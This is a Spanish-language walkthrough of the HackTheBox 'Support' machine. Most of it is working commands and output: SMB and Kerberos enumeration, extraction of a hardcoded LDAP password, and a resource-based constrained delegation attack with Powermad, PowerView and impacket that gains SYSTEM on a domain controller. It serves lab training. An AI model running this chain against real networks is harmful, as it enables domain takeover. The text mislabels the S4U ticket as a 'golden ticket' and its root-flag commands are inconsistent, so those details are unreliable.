HTB support AD
¡Hola!
En esta ocasión vamos a resolver de la máquina support AD de HackTheBox.
La máquina es nivel “Easy”, sin embargo, el nivel siempre se lo pones tú, al enfrentar estos retos, ¡vamos a ponernos hack!
PREPARACIÓN
Para iniciar nuestra máquina, vamos a crear con nuestra función mkhack un directorio de trabajo con el nombre support y los subdirectorios recon junto con exploit, con el objetivo de organizar la información que recopilemos en la realización de la máquina.
mkhack support
cd !$/recon
RECONOCIMIENTO
Accedemos al directorio recon e iniciamos nuestra fase de reconocimiento sobre el objetivo por medio de nuestra utilidad osping detectando el tipo de sistema operativo basado en el ttl time to live de una traza ICMP.
osping 10.10.11.174
[*] Detectando sistema operativo ...
[+] 10.10.11.174 ttl=127 >> Windows
Identificamos que es una maquina Windows debido a su ttl (time to live) correspondiente a 127 (Disminuye en 1 debido a que realiza un salto adicional en el entorno de HackTHeBox).
- TTL => 64 Linux
 - TTL => 128 Windows
 
Continuamos con la enumeración de los 65535 puertos en la máquina.
sudo nmap -p- --open -sS --min-rate 5000 -n -Pn 10.10.11.174 -oG ports | grep open
PORT      STATE SERVICE
53/tcp    open  domain
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
5985/tcp  open  wsman
9389/tcp  open  adws
49664/tcp open  unknown
49668/tcp open  unknown
49674/tcp open  unknown
49684/tcp open  unknown
49700/tcp open  unknown
Luego de identificar los puertos abiertos OPEN, se procede a escanear servicios y versiones que puedan estar en nuestro objetivo.
nmap -p53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,49664,49668,49674,49684,49700 -sCV -Pn 10.10.11.174 -oN versions
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2023-02-18 02:11:10Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: support.htb0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: support.htb0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp  open  mc-nmf        .NET Message Framing
49664/tcp open  msrpc         Microsoft Windows RPC
49668/tcp open  msrpc         Microsoft Windows RPC
49674/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49684/tcp open  msrpc         Microsoft Windows RPC
49700/tcp open  msrpc         Microsoft Windows RPC
AD DOMAIN DETECTION
Iniciamos con la detección del dominio donde inicialmente, por medio de la utilidad crackmapexec enumeramos información necesaria para tener un mejor alcance a la máquina víctima.
crackmapexec smb 10.10.11.174
SMB         10.10.11.174    445    DC               [*] Windows 10.0 Build 20348 x64 (name:DC) (domain:support.htb) (signing:True) (SMBv1:False)
Agregamos en el archivo /etc/hosts
sudo su
nvim /etc/hosts
10.10.11.174  DC DC.support.htb support.htb
SMB NULL SESSION ENUM
Eumeramos información por smb null session
CRACKMAPEXEC
crackmapexec smb 10.10.11.174 --shares
SMB         10.10.11.174    445    DC               [*] Windows 10.0 Build 20348 x64 (name:DC) (domain:support.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.174    445    DC               [-] Error enumerating shares: SMB SessionError: STATUS_USER_SESSION_DELETED(The remote user session has been deleted.)
SMBCLIENT -N
smbclient -L 10.10.11.174 -N
	Sharename       Type      Comment
	---------       ----      -------
	ADMIN$          Disk      Remote Admin
	C$              Disk      Default share
	IPC$            IPC       Remote IPC
	NETLOGON        Disk      Logon server share 
	support-tools   Disk      support staff tools
	SYSVOL          Disk      Logon server share 
SMBMAP -U ‘’
smbmap -H 10.10.11.174 -u ''
[+] IP: 10.10.11.174:445	Name: DC                                                
SMBMAP -U ‘NULL’
smbmap -H 10.10.11.174 -u 'null'
[+] Guest session   	IP: 10.10.11.174:445	Name: DC                                                
	Disk                                                  	Permissions	Comment
	----                                                  	-----------	-------
	ADMIN$                                            	NO ACCESS	Remote Admin
	C$                                                	NO ACCESS	Default share
	IPC$                                              	READ ONLY	Remote IPC
	NETLOGON                                          	NO ACCESS	Logon server share 
	support-tools                                     	READ ONLY	support staff tools
	SYSVOL                                            	NO ACCESS	Logon server share 
ARCHIVO USERINFO.EXE.ZIP
En los recursos compartidos tenemos la oportunidad de ver un archivo interesante, por lo que procedemos a traerlo a nuestra máquina
ACCESO A SMB
smbclient //10.10.11.174/support-tools -N
smb: \> ls
  .                                   D        0  Wed Jul 20 12:01:06 2022
  ..                                  D        0  Sat May 28 06:18:25 2022
  7-ZipPortable_21.07.paf.exe         A  2880728  Sat May 28 06:19:19 2022
  npp.8.4.1.portable.x64.zip          A  5439245  Sat May 28 06:19:55 2022
  putty.exe                           A  1273576  Sat May 28 06:20:06 2022
  SysinternalsSuite.zip               A 48102161  Sat May 28 06:19:31 2022
  UserInfo.exe.zip                    A   277499  Wed Jul 20 12:01:07 2022
  windirstat1_1_2_setup.exe           A    79171  Sat May 28 06:20:17 2022
  WiresharkPortable64_3.6.5.paf.exe      A 44398000  Sat May 28 06:19:43 2022
OBTENER ARCHIVO
smb: \> get UserInfo.exe.zip 
getting file \UserInfo.exe.zip of size 277499 as UserInfo.exe.zip (123,3 KiloBytes/sec) (average 123,3 KiloBytes/sec)
SALIR DE SMB
smb: \> exit
USERINFO.EXE.ZIP ENUM
Tenemos el archivo, ahora procedemos con 7z a descomprimirlo y tratar de obtener algo de información con la utilidad strings
LISTAR CONTENIDO DEL ARCHIVO
7z l UserInfo.exe.zip
   Date      Time    Attr         Size   Compressed  Name
------------------- ----- ------------ ------------  ------------------------
2022-05-27 12:51:05 .....        12288         5424  UserInfo.exe
2022-03-01 13:18:50 .....        99840        41727  CommandLineParser.dll
2021-10-22 18:42:08 .....        22144        12234  Microsoft.Bcl.AsyncInterfaces.dll
2021-10-22 18:48:04 .....        47216        21201  Microsoft.Extensions.DependencyInjection.Abstractions.dll
2021-10-22 18:48:22 .....        84608        39154  Microsoft.Extensions.DependencyInjection.dll
2021-10-22 18:51:24 .....        64112        29081  Microsoft.Extensions.Logging.Abstractions.dll
2020-02-19 05:05:18 .....        20856        11403  System.Buffers.dll
2020-02-19 05:05:18 .....       141184        58623  System.Memory.dll
2018-05-15 08:29:44 .....       115856        32709  System.Numerics.Vectors.dll
2021-10-22 18:40:18 .....        18024         9541  System.Runtime.CompilerServices.Unsafe.dll
2020-02-19 05:05:18 .....        25984        13437  System.Threading.Tasks.Extensions.dll
2022-05-27 11:59:39 .....          563          327  UserInfo.exe.config
------------------- ----- ------------ ------------  ------------------------
DESCOMPRIMIR ARCHIVO
7z x UserInfo.exe.zip
STRINGS ENUM
strings -e l UserInfo.exe
@%1;
	5W5
0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E
armando
LDAP://support.htb
support\ldap
Por lo que vemos, aparentemente tenemos un usuario potencial ldap y armando, lo tenemos en cuenta para más adelante
RPCCLIENT NULL SESSION ENUM
Eumeramos información por rpcclient null session, sin exito
rpcclient -U '' 10.10.11.174 -N
result was NT_STATUS_ACCESS_DENIED
USERS DICTIONARY
Vamos a crear una lista de usuarios con la información que tenemos por el momento
nvim users.txt
ldap
armando
TGT KERBRUTE ENUM
Procedemos a validar nuestra lista de usuarios para identificar un nuevo usuario
kerbrute userenum -d support.htb --dc 10.10.11.174 users.txt
2023/02/17 21:37:54 >  [+] VALID USERNAME:	ldap@support.htb
Para esta ocasión vamos a usar un listado generico de usuarios xato-net-10-million-usernames.tx propio de Seclists para ver si podemos encontrar usuarios adicionales
kerbrute userenum -d support.htb --dc 10.10.11.174 /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt
2023/02/17 21:43:24 >  [+] VALID USERNAME:	support@support.htb
2023/02/17 21:43:28 >  [+] VALID USERNAME:	guest@support.htb
2023/02/17 21:43:58 >  [+] VALID USERNAME:	administrator@support.htb
TGT GETNPUSERS ENUM
Obtenemos 4 usuarios validos con el ejercicio anterior! Ahora vamos a realizar la misma validación con la herramienta GetNPUsers
impacket-GetNPUsers support.htb/ -no-pass -usersfile users.txt
[-] User ldap doesn't have UF_DONT_REQUIRE_PREAUTH set
Ahora validamos los usuarios del diccionario de Seclists
impacket-GetNPUsers support.htb/ -no-pass -usersfile /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt | grep -v "not found"
[-] User support doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User guest doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User administrator doesn't have UF_DONT_REQUIRE_PREAUTH set
UPDATING USERS DICTIONARY
Actualizamos el diccionario de usuarios que creamos anteriormente
nvim users.txt
ldap@support.htb
guest@support.htb
support-tools@support.htb
administrator@support.htb
WINDOWS MACHINE USERINFO.EXE ENUM
Tenemos que entender que hace este programa a ver si podemos tener alguna información importante para continuar
MAQUINA ATACANTE
sudo python3 -m http.server 80
MÁQUINA WINDOWS
- Agregar DOMAIN al archivo HOSTS de WINDOWS
 - Prender OPENVPN
 - Descargar en navegador USERINFO.EXE.ZIP, descomprimir y comprender su funcionamiento
 http://<IP_ATACANTE>/UserInfo.exe.zip
- Descargar en navegador y descomprimir DNSPY
 https://github.com/dnSpy/dnSpy/releases/download/v6.1.8/dnSpy-netframework.zip- Ejecutar DNSPY y cargar USERINFO.EXE
 UserInfo - UserInfo.exe - UserInfo.Services - LdapQuery- Asignar un BREAK POINT en linea 13
 Tecla f9- Depurar el programa
 Tecla f5 Argumentos: find -first * -last * Aceptar
- Dar un paso adicional en el DEBUG
 Tecla f10- Se detecta la variable PASSWORD y una contraseña
 
- Apagar OPENVPN
 - Volvemos a nuestra máquina atacante
 
VALIDATING LDAP CREDENTIALS
Antes que cualquier cosa, debemos volver a activar nuestra vpn en la máquina atacante con OpenVPN, luego de esto procedemos a validar las credenciales obtenidas anteriormente
VALIDAR CREDS SMB
crackmapexec smb 10.10.11.174 -u ldap -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz'
SMB         10.10.11.174    445    DC               [*] Windows 10.0 Build 20348 x64 (name:DC) (domain:support.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.174    445    DC               [+] support.htb\ldap:nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz 
VALIDAR CREDS WINRM
crackmapexec winrm 10.10.11.174 -u ldap -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz'
SMB         10.10.11.174    5985   DC               [*] Windows 10.0 Build 20348 (name:DC) (domain:support.htb)
HTTP        10.10.11.174    5985   DC               [*] http://10.10.11.174:5985/wsman
WINRM       10.10.11.174    5985   DC               [-] support.htb\ldap:nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz
Las credenciales son validas para smb pero no es una cuenta con privilegios
RCPCLIENT ENUM (WITH CREDS)
Ahora tenemos lo necesario para extraer usuarios del controlador de dominio por medio de las credenciales validas encontradas anteriormente, adicionalmente vamos a enumerar un poco mas de información
OBTENER LISTADO DE USUARIOS
rpcclient -U 'ldap%nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' 10.10.11.174 -c enumdomusers | grep -oP '\[.*?\]' | grep -v 0x | tr -d '[]' > users.txt
GRUPOS ADMINISTRADORES
rpcclient -U 'ldap%nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' 10.10.11.174 -c enumdomgroups
group:[Enterprise Read-only Domain Controllers] rid:[0x1f2]
group:[Domain Admins] rid:[0x200]
USUARIOS ADMINISTRADORES
rpcclient -U 'ldap%nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' 10.10.11.174 -c 'querygroupmem 0x200'
	rid:[0x1f4] attr:[0x7]
DESCRIPCIÓN USUARIO ADMINISTRATOR
rpcclient -U 'ldap%nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' 10.10.11.174 -c 'queryuser 0x1f4'
User Name   :	Administrator
LDAPSEARCH AD ENUM (WITH CREDS)
Continuamos enumerando el directorio activo, en este caso con la utilidad ldapsearch, encontrando una credencial en el campo info perteneciente al usuario support
ldapsearch -x -H ldap://10.10.11.174 -D 'ldap@support.htb' -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -b "DC=support,DC=htb" | grep -i 'samaccountname: support' -B 40
info: Ironside47pleasure40Watchful
VALIDATING SUPPORT CREDS
Vamos a validar las credenciales del usuario support
VALIDAR CREDS SMB
crackmapexec smb 10.10.11.174 -u users.txt -p 'Ironside47pleasure40Watchful' --continue-on-success
SMB         10.10.11.174    445    DC               [+] support.htb\support:Ironside47pleasure40Watchful
VALIDAR CREDS WINRM
crackmapexec winrm 10.10.11.174 -u support -p 'Ironside47pleasure40Watchful'
SMB         10.10.11.174    5985   DC               [*] Windows 10.0 Build 20348 (name:DC) (domain:support.htb)
HTTP        10.10.11.174    5985   DC               [*] http://10.10.11.174:5985/wsman
WINRM       10.10.11.174    5985   DC               [+] support.htb\support:Ironside47pleasure40Watchful (Pwn3d!)
Tenemos credenciales con privilegios para conectarnos de manera remota
GRANTED ACCESS SUPPORT USER
Accedemos a la máquina víctima con evil-winrm
evil-winrm -i 10.10.11.174 -u 'support' -p 'Ironside47pleasure40Watchful'
whoami
support\support
AD ENUM LOCAL
Nos encontramos dentro de la máquina víctima, sin embargo, necesitamos escalar privilegios, por lo tanto, debemos enumerar la máquina para obtener más información que nos pueda ayudar.
USUARIOS DE LA MÁQUINA
net user
-------------------------------------------------------------------------------
Administrator            anderson.damian          bardot.mary
cromwell.gerard          daughtler.mabel          ford.victoria
Guest                    hernandez.stanley        krbtgt
langley.lucy             ldap                     levine.leopoldo
monroe.david             raven.clifton            smith.rosario
stoll.rachelle           support                  thomas.raphael
west.laura               wilson.shelby
GRUPOS Y PRIVILEGIOS DEL USUARIO ACTUAL
whoami /priv
Privilege Name                Description                    State
============================= ============================== =======
SeMachineAccountPrivilege     Add workstations to domain     Enabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
INFORMACIÓN GENERAL DE UN GRUPO LOCAL
net localgroup "Remote Management Users"
support
BLOODHOUND ENUM
Ahora vamos a descargar y transmitir el binario SharpHound.ps1 a la máquina víctima para extraer la información del AD y posteriormente visualizarla en bloodhound.
MÁQUINA ATACANTE
wget https://github.com/BloodHoundAD/SharpHound/releases/download/v1.1.0/SharpHound-v1.1.0.zip
mkdir SharpHound
cd SharpHound
mv ~/Descargas/SharpHound-v1.1.0.zip .
unzip SharpHound-v1.1.0.zip
MÁQUINA VÍCTIMA
cd C:\Windows\Temp
mkdir privs
cd privs
upload /opt/BloodHound-linux-x64/SharpHound.exe
.\SharpHound.exe -c All
download C:\Windows\Temp\privs\20220718205025_BloodHound.zip bloodhound.zip
BLOODHOUND INTERACTION
Ya tenemos la información descargada en nuestro equipo, ahora procedemos a revisar la data con bloodhound
neo4j console &>/dev/null & disown
bloodhound &>/dev/null & disown
# INGRESAR CREDENCIALES DE ACCESO
SEGUIR SECUENCIA EN BLOODHOUND
Upload Data > bloodhound.zip > Analysis > Find all domain admins > Find Principals with DCSync Rights > Domaim
ENUMERAR GRUPOS
Buscar Shared support accounts> node info > Reachable High Value Targets
MARCAR USUARIOS PWNED
Buscar user > mark user as owned
ESCALAMIENTO
Node info > Reachable High Value Targets
RESORCE BASED CONSTRAINED DELEGATION (RBCD) ATTACK
Vamos a realizar un RBCD ATTACK, esto es posible porque el grupo SHARED SUPPORT ACCOUNTS tiene permisos Generic all sobre el AD, dando la libertad de ejecutar en este caso la posibilidad de crear una nueva cuenta de máquina, que puedes hacer uso del mismo para obtener un ticket impersonando el usuario obteniendo accesos privilegiados con ayuda de powermad y powerview
MÁQUINA ATACANTE
DESCARGAR POWERMAD.PS1 Y POWERVIEW.PS1
wget https://raw.githubusercontent.com/Kevin-Robertson/Powermad/master/Powermad.ps1
wget https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1
MÁQUINA VÍCTIMA
TRANSFERIR POWERMAD
upload /home/bast1ant1c/Desktop/bast1ant1c/HTB/AD/easy/support/recon/Powermad.ps1
IMPORTAR MODULO
Import-Module .\Powermad.ps1
CREAR CUENTA DE MÁQUINA
New-MachineAccount -MachineAccount SERVICEA -Password $(ConvertTo-SecureString 'password123' -AsPlainText -Force) -Verbose
TRANSFERIR POWERVIEW
upload /home/bast1ant1c/Desktop/bast1ant1c/HTB/AD/easy/support/recon/PowerView.ps1
IMPORTAR MODULO
Import-Module .\PowerView.ps1
CREAR CONDICIONES DE LA CUENTA DE MÁQUINA PARA EXPLOTACIÓN
Get-DomainComputer SERVICEA
$ComputerSid = Get-DomainComputer SERVICEA -Properties objectsid | Select -Expand objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$ComputerSid)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer dc | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}
Get-DomainComputer dc -Properties 'msds-allowedtoactonbehalfofotheridentity'
msds-allowedtoactonbehalfofotheridentity
----------------------------------------
{1, 0, 4, 128...}
GRANTED ACCESS ADMINISTRATOR USER (GOLDEN TICKET)
Vamos a hacer uso de la utilidad getST con la que obtendremos un golden ticket del usuario Administrator aprovechando la creación de la cuenta de máquina realizada en pasos anteriores, obteniendo acceso con psexec
impacket-getST -spn cifs/dc.support.htb -impersonate Administrator -dc-ip 10.10.11.174 support.htb/SERVICEA$:password123
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation
[*] Getting TGT for user
[*] Impersonating Administrator
[*] 	Requesting S4U2self
[*] 	Requesting S4U2Proxy
[*] Saving ticket in Administrator.ccache
export KRB5CCNAME=Administrator.ccache
impacket-psexec -k dc.support.htb
whoami
nt authority\system
FLAGS
Lo único que nos queda es leer las banderas de user y root. Pueden ver la flag con type, pero para hacerlo más retador solo dejaré los primeros 10 caracteres de la flag.
cd C:/
dir /b/s user.txt
c:\Users\support\Desktop\user.txt
set /P user=<"c:\Users\support\Desktop\user.txt"
echo.%user:~0,10%
ce03e32c55
cd C:/
dir /b/s root.txt
c:\Users\Administrator\Desktop\user.txt
set /P user=<"c:\Users\Administrator\Desktop\user.txt"
echo.%root:~0,10%
4e4ed829c0
¡Hemos logrado completar la máquina support de HackTheBox!
¡Que tengan un buen día en el planeta donde se encuentren!
Nos vemos en otro bit.